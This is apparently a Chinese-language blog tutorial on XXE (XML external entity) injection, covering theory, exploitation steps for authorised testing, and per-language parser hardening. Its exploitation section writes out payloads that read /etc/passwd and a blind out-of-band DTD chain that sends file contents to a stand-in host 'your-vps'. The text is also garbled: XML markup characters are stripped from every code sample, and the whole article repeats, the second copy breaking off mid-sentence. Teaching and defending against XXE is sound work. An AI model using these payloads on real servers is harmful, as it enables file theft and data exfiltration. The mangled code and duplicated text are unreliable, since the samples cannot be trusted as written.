前阵子做一次接口安全评估又看到 XXE 这个老朋友。说实话这年头还能在真实系统里看到可控 XML 解析的裸奔状态我自己都有点意外。很多团队把精力都放在文件上传、SQL 注入上结果忽略了一个更基础的问题请求体本身就是 XML 的接口如果解析器没做限制攻击者可以用一份精心构造的文档让服务器去读本地文件、探测内网服务甚至在某些环境下直接执行代码。本文不堆概念直接从原理讲起然后走下实际利用流程最后给出可落地的加固方案和排查经验。无论是开发、测试还是安全运维准备按照自己当前角色去对照检查一遍应该都能有收获。1. 先搞明白XXE 到底在“破”什么1.1 四个字母背后的完整含义XXE 全称是 XML External Entity也就是 XML 外部实体注入。它属于注入类漏洞常见入口包括业务系统接收的外部 XML 数据、App 与后端交互的报文接口、报表导入功能、RSS/Atom 订阅解析、OA 系统里的流程同步消息等。我见过最典型的场景是把一份 XML 直接放在 POST 请求里让后端解析开发者以为这只是普通数据传输没有意识到解析器本身就是攻击面。很多人第一次听到“外部实体”这个词会懵。换个角度理解XML 里的实体相当于编程语言中的宏。你可以定义一个实体然后在文档里反复引用它。区别在于宏展开只是文本替换而 XML 实体的内容可以来自外部资源比如本机文件路径、远程 URL甚至是内网地址。一旦应用把用户可控的 XML 交给了解析器解析器又允许加载外部实体攻击者就可以让服务器去访问原本不对外开放的资源。这个漏洞真正危险的地方在于它的“间接性”。攻击者并没有直接通过漏洞执行命令也没有绕过权限验证而是通过操控解析器的合法行为让服务器自己完成了文件读取、网络请求等操作。安全防护往往会拦在业务入口但解析器内部的资源访问行为常常不在监控视野内所以这类问题常常能够穿透边界防护直达内网。1.2 漏洞产生的三个必要条件一个可被利用的 XXE 环境基本上满足三个条件。第一应用确实接收并解析 XML第二解析配置允许 DTD 和外部实体第三解析结果或错误信息能以某种方式返回给攻击者。第三条不满足时仍然可以通过带外通道进行盲测这也是我经常提醒团队的不要以为看不到回显就代表安全。这里要特别说明 DTD 的作用。DTD 是 Document Type Definition 的缩写它定义了文档结构也承载实体声明。XML 规范允许文档内部声明 DTD这就给了攻击者一个天然的“注入点”。只要解析器不拒绝 DTD攻击者就能在请求包里写入自己的实体定义。所以防御上的第一原则不是过滤实体内容而是从根上禁止 DTD 解析或者至少禁止外部实体加载。后面我会给出具体配置。1.3 为什么这个老漏洞到现在还没绝迹我分析过不少被 XXE 击穿的案例共性非常明显代码框架默认配置并不安全或者业务对 XML 功能有需求但只做了表层过滤。举个例子Java 生态里不同 XML 解析器默认行为并不一致一部分版本在没有显式配置时允许加载远程 DTDPython 内置的某些解析模块在过去某些场景下同样存在类似问题PHP 在不同版本里对 libxml 的默认策略也不完全相同。还有一个容易被忽略的原因组件依赖传导。应用本身可能没有直接写 XML 解析代码但引入的第三方库在处理配置或通信协议时会调用解析器这个解析器一旦开放外部实体第三方库就成了整个链路上的薄弱点。所以我在排查 XXE 时不会只看显式写的 XML 解析代码还会全局搜索解析器实例、配置对象和依赖树。这个习惯帮我找到过很多意想不到的问题点。提示如果业务确实需要 XML 解析能力首先要确认的是“解析谁提供的 XML”。解析自己系统生成的数据和解析用户提交的数据面临的威胁等级完全不同。2. 绕过原理实体声明是如何变成攻击面的2.1 内部实体与外部实体的本质区别在深入利用方法前先把实体分类说清楚。内部实体是指实体值直接写在 DTD 内部声明里例如!DOCTYPE foo [ !ENTITY author zhang ] rootauthor;/root这段 XML 在解析后标签里的author;会被替换成zhang。这样的实体看起来人畜无害但它验证了一件事解析器允许 DTD并且允许实体引用被展开。只要这个前提成立就可以继续尝试替换成外部实体。外部实体才是 XXE 的关键它的声明方式类似于!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root这里的SYSTEM关键字告诉解析器实体内容需要从外部资源获取。获取来源可以是本地文件也可以是 HTTP、FTP 等网络协议。解析器按配置去拉取资源并展开实体攻击者就获得了间接读写和网络访问的权限。这就是外部实体和内部实体在安全意义上的分水岭内部实体只是文本替换外部实体则引入了资源访问能力。把两者的差别放到生活场景里类比内部实体相当于你写便签时定义了个缩写自己看到缩写就知道完整的名字外部实体则相当于在便签里写了个“麻烦去隔壁抽屉把文件拿来贴在空白处”执行者会按要求去取文件。如果这便签是从陌生人手里递进来的风险就完全不同了。2.2 参数实体与盲 XXE 的基础逻辑除了普通实体XML 还支持参数实体。参数实体只能在 DTD 内部使用声明时用百分号开头引用时也是用%实体名;的方式。它常用于复用一段声明结构同时也是盲 XXE 利用中的核心工具。我举一个相对直观的例子。攻击者无法直接看到解析结果时可以让解析器去访问一个自己可控的地址把敏感数据拼在请求路径或参数中带出去。这个过程需要参数实体的帮助因为普通实体在 DTD 内部不能直接参与嵌套定义。参数实体可以在 DTD 内部被展开从而构造出新的实体定义形成“加载外部参数实体 - 读取本地文件 - 发起带外请求”的完整链路。这类攻击在真实环境中非常常见而且它不依赖响应内容是否包含解析结果。只要应用在解析过程中发起了网络请求攻击者就能通过外部日志服务感知到。这也是为什么我一直强调不要因为接口没有回显就说“不存在 XXE”盲 XXE 的隐蔽性更强排查起来更需要耐心。2.3 解析器为什么会在默认情况下踩坑很多开发者问过我一个问题“我没写过任何加载外部资源的代码为什么还是会有 XXE”答案是启动解析器的那一刻安全状态取决于解析器库本身的默认配置而不是你“写了什么”。部分主流语言的 XML 解析器从历史版本延续下来的默认行为是允许 DTD 解析的。有些默认配置甚至允许加载外部实体。框架想要兼容各种复杂的 XML 文档就会在默认层面保持开放。这本身是功能设计但放到安全视角就成了默认风险。还有一个常见情况代码里明确设置了某个安全选项但配置得不够完整。比如只禁止了外部通用实体却没有处理参数实体或者只限制了文件协议却没有限制 HTTP 协议。攻击者会根据解析器的实际开放程度调整 payload所以防御必须走“最小权限”路线能禁 DTD 就整个禁掉不能禁就把所有外部资源访问通道全部关闭。3. 实战利用从回显探测到文件窃取3.1 第一步在已授权的实验环境中确认注入点所有以下操作请只在你拥有明确授权的测试环境或自己搭建的靶场中进行。我在真实评估里第一步永远不是直接丢一个大型 payload而是先确认数据流路径应用接收的 XML 是否真的被解析了以及解析结果会不会进入响应或日志。最有效的探测方式是用内部实体做“冒烟测试”。构造一个文档在 DTD 里声明一个简单实体然后在业务字段里引用它再观察响应。比如原本提交的用户名字段在 XML 里是nametom/name可以改成nametest;/name同时在 DTD 里声明!DOCTYPE name [ !ENTITY test xxe-check ]如果响应或后续业务返回的数据里出现了xxe-check说明实体引用生效了。这是一个非常关键的判断节点它排除了那些“只是接了 XML 格式但实际用正则解析”的应用也避免在错误的方向上浪费时间。3.2 第二步读取服务器本地文件确认实体可以展开后尝试把它替换成外部实体读取一个路径明确且内容稳定的文件。Unix/Linux 环境下我最常用的是/etc/passwdWindows 环境下常见选择是C:\Windows\win.ini。原因很简单这两个文件存在率高、内容长度适中、格式相对可控。构造的 XML 大概是这样的?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root如果解析成功请求结果里name标签的内容就不再是字符串而是服务器的本地文件内容。看到这一层基本可以确认这是一个可回显的 XXE影响等级已经不低。要注意的是文件路径前面必须带file://协议前缀。不加前缀时某些解析器会按照相对路径寻找文件行为完全不可预期。另外部分解析器支持file:///etc/passwd这样的三斜杠形式这表示绝对路径具体可以结合解析器的文档确认。3.3 第三步无回显场景下的带外验证但现实里并非所有接口都会把解析结果回显。这时候就要用到带外通道“盲打”手法。整体思路是让解析器在解析过程中向攻击者控制的地址发起一个请求通过请求是否到达来判断漏洞是否存在。常见的做法是把 DTD 外置到攻击者可控的服务器上然后在请求 XML 中引用这个外部 DTD?xml version1.0? !DOCTYPE root SYSTEM http://your-vps/evil.dtd root/远程 DTD 文件里再构造完整的实体链路例如读取本地文件后拼接到另一个请求地址中!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-vps/collect?data%file; %eval; %exfil;这个链路执行时解析器会先去拉取外置 DTD然后读取本地文件再把文件内容作为参数拼进对your-vps的请求中。你只需要在自己的服务器上监听请求日志就能确认文件内容是否被带出。这里的#x25;是%的十六进制实体表示因为在 DTD 内部直接写%可能被解析器当成参数实体的开头需要转义绕一下。3.4 不让文件内容破坏 XML 结构的小细节读文件时经常遇到一个问题文件内容里包含、这类 XML 特殊字符导致解析器报告格式错误内容带不出来。这时候不要急着下结论“无法利用”可以先用简单文件测试基础链路是否通畅比如读取/etc/hostname这种纯文本内容。另外内容里的特殊字符还会影响带外请求。直接把整个文件拼进 URL 参数往往因为换行、空格、特殊符号导致请求异常。常用的补充方式是用协议编码转换或者根据环境读一个可打印内容较稳定的文件。实际操作中我会先用短文件验证链路确认手段可行后再针对目标做进一步处理。3.5 从文件读取升级到更严重影响的路径很多团队的认知停在“XXE 只能读文件”实际上它还能打开一张通往内网的窗口。利用方式之一是把实体源改成 HTTP 地址让服务器去访问内网或本机的 HTTP 服务。这种手法和 SSRF 的效果相似攻击者不直接和内部端口通信而是让服务器代为请求从而绕过网络隔离。在少数环境下影响还能进一步扩大。如果应用允许加载外部 DTD同时所在语言和运行库支持某些特殊协议攻击者可能通过解析器触发到代码执行相关的组件。经典的例子包括 PHP 环境下某些扩展协议被启用时的情况。当然这种场景没那么普遍但在写排查报告时我都会把这个“可能性”写入风险说明提醒团队不要只按“文件读取”的等级来处理。注意XXE 的利用不能只盯着“有没有外发请求”这一条路。出网被阻断不代表漏洞不存在之前的 DNS 探测、文件读取链路可能已经证明了问题存在只是数据没有回传路径。排查和修复不能因为看不到外部请求而推迟。4. 防御与加固从解析器配置到架构层收敛4.1 主流程的兜底先禁 DTD再谈其他对于大多数业务系统遇到 XML 解析的第一原则就是不要解析 DTD。只要不让解析器识别文档类型声明外部实体就没有声明的地方整个攻击面直接消失。这个建议的优先级高于任何实体过滤策略因为过滤总有漏网而禁用 DTD 是从语法层兜底。但也存在一些业务必须允许 DTD 的情况比如依赖 DTD 做数据校验的协议。这种情况下退而求其次禁止外部通用实体、禁止外部参数实体、禁止外部 DTD 加载并且设置实体展开数量上限。特别注意实体展开次数限制是必须项否则防御者只堵住了外部资源没堵住“实体炸弹”这类通过疯狂嵌套引用耗尽内存的 DoS 攻击。下面是一些常见技术栈下的基本配置对照我整理成表方便直接参考技术栈常用安全做法补充说明Java设置 DocumentBuilderFactory 的disallow-doctype-decl为 true同时关闭外部通用实体和外部参数实体只开启 secure processing 不一定能完全挡住外部实体要认真检查具体特性项.NET使用 XmlReader 时设置DtdProcessing DtdProcessing.ProhibitXmlDocument 场景下把 XmlResolver 设为 null不同框架版本默认行为有差异升级到新版本同时仍然显式设置Python使用 defusedxml 代替内置 xml 相关模块如用 lxml要显式禁用外部实体加载内置模块某些场景下存在历史问题安全处理需要额外封装PHP使用较新版本配合 libxml 的默认安全行为确认加载 XML 时没有主动启用外部实体加载并设置 LIBXML_NONET老版本兼容场景要单独评估不能依赖“新版本默认安全”就忽略旧环境4.2 为解析结果加一层交付校验配置层面的修复完成以后还应该考虑业务层的校验。我的习惯是按 JSON Schema 或 XSD 定义字段的合法格式对所有输入做白名单式的约束。比如用户名字段只允许字母和数字内容字段限制长度。这样即使某个解析器配置漏了攻击者想要构造复杂实体也会先被业务规则拦一道。架构层面还有一个很有效的收敛手段不要让独立服务去解码不可信 XML。可以把 XML 报文统一在边缘层转换成内部对象业务模块只消费对象不再直接接触原始 XML。这样做的好处是安全措施集中化而不是散落到每个业务代码里。缺陷是无法覆盖所有历史遗留系统但对于新系统而言从一开始就这么设计会轻松很多。另外网络防护里的出站访问控制也值得做。多数 XXE 带外利用依赖服务器主动向外发起请求如果数据中心在网络层限制了应用服务器的外访范围攻击者就算读到了文件也没办法通过外部通道把数据带出来。这种做法不能修复漏洞本身但能显著提高漏洞利用难度给应急响应留出时间。4.3 关于“过滤危险关键字”这个常见误区我见过不少团队在 XML 请求里过滤SYSTEM、DOCTYPE这类关键字并认为这就完成了防护。这是非常危险的做法。只做简单文本过滤的问题在于XML 解析器在正式解析前会有多轮解码和实体展开攻击者可以用编码嵌套绕过字符串匹配。就算拦截住了常规 payload也无法保证所有编码都被覆盖。正确的做法是把关键字过滤当作“纵深防御”的辅助手段而不是主要防线。主要防线永远在解析器配置层。用一句话总结就是不要和解析器比拼字符串匹配直接把解析器的权限收走才是正道。4.4 依赖库与代码审计的检查范围继续往前一步很多团队没有直接把用户 XML 交给解析器但第三方依赖里可能出现。比如某些配置中心客户端会解析远端配置某些消息中间件 SDK 在处理消息头时调用了解析器。这些隐藏在依赖树里的解析器同样需要全量排查。我的排查方法是项目里搜索 XML 解析器初始化相关的关键词逐个检查有没有调整安全配置。紧接着引入依赖扫描工具确认哪些库版本存在已公开的 XXE 问题尽早修复。依赖升级后也不能只看“能编译就完事”要检查升级后的解析器默认行为有没有变化防止因为默认行为差异把原本关闭的通道重新打开。提示修复完成后的回归测试不能只看正常业务是否可用。我通常会重新用实体探测的测试包跑一遍确认注入链路彻底断开同时跑一个业务内的合法 XML 解析场景确认功能没有因为禁用 DTD 而损坏。5. 真实排查经验遇过的类型化问题与避坑笔记5.1 为什么实体探测没有回显不见得没有漏洞有一次外部测试报告里写了“疑似 XXE”但开发复核时发现用内部实体探测没有任何返回值。双方一度以为是个误报。后来我仔细看数据链路发现应用解析完 XML 之后会把这些数据发给一个异步消息队列业务接口的响应内容其实和 XML 解析结果没有直接关系。也就是说解析发生了也触发了外部请求只是用户看不到结果。这种情况必须用 DNS 或 HTTP 带外探测来验证。先在自建监听器上确认请求是否到达再排查响应链路。我建议测试时不只观察业务响应还要在网络出口处抓包或者查解析器日志。得出结论之前不要因为“没有回显”就快速关闭问题。5.2 为什么读文件读到一半报错读文件时最常见的问题是文件内容里的特殊字符让解析中断。比如读取一个包含的配置文件这个字符会被当成 XML 标签的开始解析器直接报错。这不代表漏洞不存在只能说明当前“直接展开到响应里”的姿势不合适。这种情况我会换一个数据出口。一种是利用错误信息来辅助判断有些解析器会把读取到的内容片段作为错误提示一起返回另一种是带外通道先把文件内容发到自己的服务器再分析。实际操作中先读短文本文件确认链路再测试含特殊字符文件的处理方式。5.3 为什么外发请求始终不出来带外利用失败时我一般按照下面几个方向去排查。XML 格式合法性请求本身是否符合 XML 规范实体引用是否完整闭合DTD 声明位置是否正确。格式错误会直接被解析器拒绝。远程 DTD 能否被访问目标服务器是否具备访问外部地址的能力IP 白名单、防火墙策略、DNS 解析是否正常。协议支持范围解析器是否支持http://、https://、file://等协议需要单独测试。嵌套实体构造是否被目标解析器的版本限制不同解析器对参数实体展开规则有差异必要时换用更简单的链路做局部验证。我建议准备一套“最小化 DTD”模板先只做一次远程 DTD 加载确认目标能出网再在此基础上增加文件读取逐级确认避免一次堆叠太多功能导致问题无法定位。5.4 全生命周期复盘修复之后不等于一劳永逸修复完成以后我会做一件额外的事把这次发现的问题和根因写成一份简短的复盘。内容不写长篇大论只记录三件事漏洞是怎么被发现的、根因是哪个解析器配置、修复后的测试步骤是什么。这份记录一方面给团队做培训素材另一方面也是下次评估时的检查项。由于我现在做安全评估和代码审计的时间比较多这类“短平快”的文档积累下来效果比反复口头提醒要好得多。把根因写成代码规范的一部分每次新项目开发时直接套用问题就不容易重复出现。5.5 从个人经验角度说的最后一点XXE 这个漏洞虽然很多人觉得“老”但它的本质其实反映了一个更普遍的问题开发团队对底层库默认行为的理解直接决定了一个系统的基础安全水位。你可以不做安全开发但至少要知道自己用的解析器默认是否安全、默认允许什么、默认拒绝什么。这个问题想清楚防御方案就顺理成章了。我在实际工作中发现修复 XXE 最有效的时机不是在漏洞报告出来之后而是在代码评审阶段。评审时问一句“这个 XML 是从哪里来的、解析器是怎么配置的”能省掉后面一大半的返工。这份指南如果只能让你记住一条我希望是所有解析外部输入的环节默认都按“不可信”来处理所有解析器的外部资源能力默认都是关闭的。这样操作下来XXE 基本不会有落地机会。 
长河君 · 2026/10/14 4:16:56 · 阅读 1.2k XXE漏洞原理、实战利用与防御加固：XML外部实体注入排查指南
前阵子做一次接口安全评估又看到 XXE 这个老朋友。说实话这年头还能在真实系统里看到可控 XML 解析的裸奔状态我自己都有点意外。很多团队把精力都放在文件上传、SQL 注入上结果忽略了一个更基础的问题请求体本身就是 XML 的接口如果解析器没做限制攻击者可以用一份精心构造的文档让服务器去读本地文件、探测内网服务甚至在某些环境下直接执行代码。本文不堆概念直接从原理讲起然后走下实际利用流程最后给出可落地的加固方案和排查经验。无论是开发、测试还是安全运维准备按照自己当前角色去对照检查一遍应该都能有收获。1. 先搞明白XXE 到底在“破”什么1.1 四个字母背后的完整含义XXE 全称是 XML External Entity也就是 XML 外部实体注入。它属于注入类漏洞常见入口包括业务系统接收的外部 XML 数据、App 与后端交互的报文接口、报表导入功能、RSS/Atom 订阅解析、OA 系统里的流程同步消息等。我见过最典型的场景是把一份 XML 直接放在 POST 请求里让后端解析开发者以为这只是普通数据传输没有意识到解析器本身就是攻击面。很多人第一次听到“外部实体”这个词会懵。换个角度理解XML 里的实体相当于编程语言中的宏。你可以定义一个实体然后在文档里反复引用它。区别在于宏展开只是文本替换而 XML 实体的内容可以来自外部资源比如本机文件路径、远程 URL甚至是内网地址。一旦应用把用户可控的 XML 交给了解析器解析器又允许加载外部实体攻击者就可以让服务器去访问原本不对外开放的资源。这个漏洞真正危险的地方在于它的“间接性”。攻击者并没有直接通过漏洞执行命令也没有绕过权限验证而是通过操控解析器的合法行为让服务器自己完成了文件读取、网络请求等操作。安全防护往往会拦在业务入口但解析器内部的资源访问行为常常不在监控视野内所以这类问题常常能够穿透边界防护直达内网。1.2 漏洞产生的三个必要条件一个可被利用的 XXE 环境基本上满足三个条件。第一应用确实接收并解析 XML第二解析配置允许 DTD 和外部实体第三解析结果或错误信息能以某种方式返回给攻击者。第三条不满足时仍然可以通过带外通道进行盲测这也是我经常提醒团队的不要以为看不到回显就代表安全。这里要特别说明 DTD 的作用。DTD 是 Document Type Definition 的缩写它定义了文档结构也承载实体声明。XML 规范允许文档内部声明 DTD这就给了攻击者一个天然的“注入点”。只要解析器不拒绝 DTD攻击者就能在请求包里写入自己的实体定义。所以防御上的第一原则不是过滤实体内容而是从根上禁止 DTD 解析或者至少禁止外部实体加载。后面我会给出具体配置。1.3 为什么这个老漏洞到现在还没绝迹我分析过不少被 XXE 击穿的案例共性非常明显代码框架默认配置并不安全或者业务对 XML 功能有需求但只做了表层过滤。举个例子Java 生态里不同 XML 解析器默认行为并不一致一部分版本在没有显式配置时允许加载远程 DTDPython 内置的某些解析模块在过去某些场景下同样存在类似问题PHP 在不同版本里对 libxml 的默认策略也不完全相同。还有一个容易被忽略的原因组件依赖传导。应用本身可能没有直接写 XML 解析代码但引入的第三方库在处理配置或通信协议时会调用解析器这个解析器一旦开放外部实体第三方库就成了整个链路上的薄弱点。所以我在排查 XXE 时不会只看显式写的 XML 解析代码还会全局搜索解析器实例、配置对象和依赖树。这个习惯帮我找到过很多意想不到的问题点。提示如果业务确实需要 XML 解析能力首先要确认的是“解析谁提供的 XML”。解析自己系统生成的数据和解析用户提交的数据面临的威胁等级完全不同。2. 绕过原理实体声明是如何变成攻击面的2.1 内部实体与外部实体的本质区别在深入利用方法前先把实体分类说清楚。内部实体是指实体值直接写在 DTD 内部声明里例如!DOCTYPE foo [ !ENTITY author zhang ] rootauthor;/root这段 XML 在解析后标签里的author;会被替换成zhang。这样的实体看起来人畜无害但它验证了一件事解析器允许 DTD并且允许实体引用被展开。只要这个前提成立就可以继续尝试替换成外部实体。外部实体才是 XXE 的关键它的声明方式类似于!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root这里的SYSTEM关键字告诉解析器实体内容需要从外部资源获取。获取来源可以是本地文件也可以是 HTTP、FTP 等网络协议。解析器按配置去拉取资源并展开实体攻击者就获得了间接读写和网络访问的权限。这就是外部实体和内部实体在安全意义上的分水岭内部实体只是文本替换外部实体则引入了资源访问能力。把两者的差别放到生活场景里类比内部实体相当于你写便签时定义了个缩写自己看到缩写就知道完整的名字外部实体则相当于在便签里写了个“麻烦去隔壁抽屉把文件拿来贴在空白处”执行者会按要求去取文件。如果这便签是从陌生人手里递进来的风险就完全不同了。2.2 参数实体与盲 XXE 的基础逻辑除了普通实体XML 还支持参数实体。参数实体只能在 DTD 内部使用声明时用百分号开头引用时也是用%实体名;的方式。它常用于复用一段声明结构同时也是盲 XXE 利用中的核心工具。我举一个相对直观的例子。攻击者无法直接看到解析结果时可以让解析器去访问一个自己可控的地址把敏感数据拼在请求路径或参数中带出去。这个过程需要参数实体的帮助因为普通实体在 DTD 内部不能直接参与嵌套定义。参数实体可以在 DTD 内部被展开从而构造出新的实体定义形成“加载外部参数实体 - 读取本地文件 - 发起带外请求”的完整链路。这类攻击在真实环境中非常常见而且它不依赖响应内容是否包含解析结果。只要应用在解析过程中发起了网络请求攻击者就能通过外部日志服务感知到。这也是为什么我一直强调不要因为接口没有回显就说“不存在 XXE”盲 XXE 的隐蔽性更强排查起来更需要耐心。2.3 解析器为什么会在默认情况下踩坑很多开发者问过我一个问题“我没写过任何加载外部资源的代码为什么还是会有 XXE”答案是启动解析器的那一刻安全状态取决于解析器库本身的默认配置而不是你“写了什么”。部分主流语言的 XML 解析器从历史版本延续下来的默认行为是允许 DTD 解析的。有些默认配置甚至允许加载外部实体。框架想要兼容各种复杂的 XML 文档就会在默认层面保持开放。这本身是功能设计但放到安全视角就成了默认风险。还有一个常见情况代码里明确设置了某个安全选项但配置得不够完整。比如只禁止了外部通用实体却没有处理参数实体或者只限制了文件协议却没有限制 HTTP 协议。攻击者会根据解析器的实际开放程度调整 payload所以防御必须走“最小权限”路线能禁 DTD 就整个禁掉不能禁就把所有外部资源访问通道全部关闭。3. 实战利用从回显探测到文件窃取3.1 第一步在已授权的实验环境中确认注入点所有以下操作请只在你拥有明确授权的测试环境或自己搭建的靶场中进行。我在真实评估里第一步永远不是直接丢一个大型 payload而是先确认数据流路径应用接收的 XML 是否真的被解析了以及解析结果会不会进入响应或日志。最有效的探测方式是用内部实体做“冒烟测试”。构造一个文档在 DTD 里声明一个简单实体然后在业务字段里引用它再观察响应。比如原本提交的用户名字段在 XML 里是nametom/name可以改成nametest;/name同时在 DTD 里声明!DOCTYPE name [ !ENTITY test xxe-check ]如果响应或后续业务返回的数据里出现了xxe-check说明实体引用生效了。这是一个非常关键的判断节点它排除了那些“只是接了 XML 格式但实际用正则解析”的应用也避免在错误的方向上浪费时间。3.2 第二步读取服务器本地文件确认实体可以展开后尝试把它替换成外部实体读取一个路径明确且内容稳定的文件。Unix/Linux 环境下我最常用的是/etc/passwdWindows 环境下常见选择是C:\Windows\win.ini。原因很简单这两个文件存在率高、内容长度适中、格式相对可控。构造的 XML 大概是这样的?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root如果解析成功请求结果里name标签的内容就不再是字符串而是服务器的本地文件内容。看到这一层基本可以确认这是一个可回显的 XXE影响等级已经不低。要注意的是文件路径前面必须带file://协议前缀。不加前缀时某些解析器会按照相对路径寻找文件行为完全不可预期。另外部分解析器支持file:///etc/passwd这样的三斜杠形式这表示绝对路径具体可以结合解析器的文档确认。3.3 第三步无回显场景下的带外验证但现实里并非所有接口都会把解析结果回显。这时候就要用到带外通道“盲打”手法。整体思路是让解析器在解析过程中向攻击者控制的地址发起一个请求通过请求是否到达来判断漏洞是否存在。常见的做法是把 DTD 外置到攻击者可控的服务器上然后在请求 XML 中引用这个外部 DTD?xml version1.0? !DOCTYPE root SYSTEM http://your-vps/evil.dtd root/远程 DTD 文件里再构造完整的实体链路例如读取本地文件后拼接到另一个请求地址中!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-vps/collect?data%file; %eval; %exfil;这个链路执行时解析器会先去拉取外置 DTD然后读取本地文件再把文件内容作为参数拼进对your-vps的请求中。你只需要在自己的服务器上监听请求日志就能确认文件内容是否被带出。这里的#x25;是%的十六进制实体表示因为在 DTD 内部直接写%可能被解析器当成参数实体的开头需要转义绕一下。3.4 不让文件内容破坏 XML 结构的小细节读文件时经常遇到一个问题文件内容里包含、这类 XML 特殊字符导致解析器报告格式错误内容带不出来。这时候不要急着下结论“无法利用”可以先用简单文件测试基础链路是否通畅比如读取/etc/hostname这种纯文本内容。另外内容里的特殊字符还会影响带外请求。直接把整个文件拼进 URL 参数往往因为换行、空格、特殊符号导致请求异常。常用的补充方式是用协议编码转换或者根据环境读一个可打印内容较稳定的文件。实际操作中我会先用短文件验证链路确认手段可行后再针对目标做进一步处理。3.5 从文件读取升级到更严重影响的路径很多团队的认知停在“XXE 只能读文件”实际上它还能打开一张通往内网的窗口。利用方式之一是把实体源改成 HTTP 地址让服务器去访问内网或本机的 HTTP 服务。这种手法和 SSRF 的效果相似攻击者不直接和内部端口通信而是让服务器代为请求从而绕过网络隔离。在少数环境下影响还能进一步扩大。如果应用允许加载外部 DTD同时所在语言和运行库支持某些特殊协议攻击者可能通过解析器触发到代码执行相关的组件。经典的例子包括 PHP 环境下某些扩展协议被启用时的情况。当然这种场景没那么普遍但在写排查报告时我都会把这个“可能性”写入风险说明提醒团队不要只按“文件读取”的等级来处理。注意XXE 的利用不能只盯着“有没有外发请求”这一条路。出网被阻断不代表漏洞不存在之前的 DNS 探测、文件读取链路可能已经证明了问题存在只是数据没有回传路径。排查和修复不能因为看不到外部请求而推迟。4. 防御与加固从解析器配置到架构层收敛4.1 主流程的兜底先禁 DTD再谈其他对于大多数业务系统遇到 XML 解析的第一原则就是不要解析 DTD。只要不让解析器识别文档类型声明外部实体就没有声明的地方整个攻击面直接消失。这个建议的优先级高于任何实体过滤策略因为过滤总有漏网而禁用 DTD 是从语法层兜底。但也存在一些业务必须允许 DTD 的情况比如依赖 DTD 做数据校验的协议。这种情况下退而求其次禁止外部通用实体、禁止外部参数实体、禁止外部 DTD 加载并且设置实体展开数量上限。特别注意实体展开次数限制是必须项否则防御者只堵住了外部资源没堵住“实体炸弹”这类通过疯狂嵌套引用耗尽内存的 DoS 攻击。下面是一些常见技术栈下的基本配置对照我整理成表方便直接参考技术栈常用安全做法补充说明Java设置 DocumentBuilderFactory 的disallow-doctype-decl为 true同时关闭外部通用实体和外部参数实体只开启 secure processing 不一定能完全挡住外部实体要认真检查具体特性项.NET使用 XmlReader 时设置DtdProcessing DtdProcessing.ProhibitXmlDocument 场景下把 XmlResolver 设为 null不同框架版本默认行为有差异升级到新版本同时仍然显式设置Python使用 defusedxml 代替内置 xml 相关模块如用 lxml要显式禁用外部实体加载内置模块某些场景下存在历史问题安全处理需要额外封装PHP使用较新版本配合 libxml 的默认安全行为确认加载 XML 时没有主动启用外部实体加载并设置 LIBXML_NONET老版本兼容场景要单独评估不能依赖“新版本默认安全”就忽略旧环境4.2 为解析结果加一层交付校验配置层面的修复完成以后还应该考虑业务层的校验。我的习惯是按 JSON Schema 或 XSD 定义字段的合法格式对所有输入做白名单式的约束。比如用户名字段只允许字母和数字内容字段限制长度。这样即使某个解析器配置漏了攻击者想要构造复杂实体也会先被业务规则拦一道。架构层面还有一个很有效的收敛手段不要让独立服务去解码不可信 XML。可以把 XML 报文统一在边缘层转换成内部对象业务模块只消费对象不再直接接触原始 XML。这样做的好处是安全措施集中化而不是散落到每个业务代码里。缺陷是无法覆盖所有历史遗留系统但对于新系统而言从一开始就这么设计会轻松很多。另外网络防护里的出站访问控制也值得做。多数 XXE 带外利用依赖服务器主动向外发起请求如果数据中心在网络层限制了应用服务器的外访范围攻击者就算读到了文件也没办法通过外部通道把数据带出来。这种做法不能修复漏洞本身但能显著提高漏洞利用难度给应急响应留出时间。4.3 关于“过滤危险关键字”这个常见误区我见过不少团队在 XML 请求里过滤SYSTEM、DOCTYPE这类关键字并认为这就完成了防护。这是非常危险的做法。只做简单文本过滤的问题在于XML 解析器在正式解析前会有多轮解码和实体展开攻击者可以用编码嵌套绕过字符串匹配。就算拦截住了常规 payload也无法保证所有编码都被覆盖。正确的做法是把关键字过滤当作“纵深防御”的辅助手段而不是主要防线。主要防线永远在解析器配置层。用一句话总结就是不要和解析器比拼字符串匹配直接把解析器的权限收走才是正道。4.4 依赖库与代码审计的检查范围继续往前一步很多团队没有直接把用户 XML 交给解析器但第三方依赖里可能出现。比如某些配置中心客户端会解析远端配置某些消息中间件 SDK 在处理消息头时调用了解析器。这些隐藏在依赖树里的解析器同样需要全量排查。我的排查方法是项目里搜索 XML 解析器初始化相关的关键词逐个检查有没有调整安全配置。紧接着引入依赖扫描工具确认哪些库版本存在已公开的 XXE 问题尽早修复。依赖升级后也不能只看“能编译就完事”要检查升级后的解析器默认行为有没有变化防止因为默认行为差异把原本关闭的通道重新打开。提示修复完成后的回归测试不能只看正常业务是否可用。我通常会重新用实体探测的测试包跑一遍确认注入链路彻底断开同时跑一个业务内的合法 XML 解析场景确认功能没有因为禁用 DTD 而损坏。5. 真实排查经验遇过的类型化问题与避坑笔记5.1 为什么实体探测没有回显不见得没有漏洞有一次外部测试报告里写了“疑似 XXE”但开发复核时发现用内部实体探测没有任何返回值。双方一度以为是个误报。后来我仔细看数据链路发现应用解析完 XML 之后会把这些数据发给一个异步消息队列业务接口的响应内容其实和 XML 解析结果没有直接关系。也就是说解析发生了也触发了外部请求只是用户看不到结果。这种情况必须用 DNS 或 HTTP 带外探测来验证。先在自建监听器上确认请求是否到达再排查响应链路。我建议测试时不只观察业务响应还要在网络出口处抓包或者查解析器日志。得出结论之前不要因为“没有回显”就快速关闭问题。5.2 为什么读文件读到一半报错读文件时最常见的问题是文件内容里的特殊字符让解析中断。比如读取一个包含的配置文件这个字符会被当成 XML 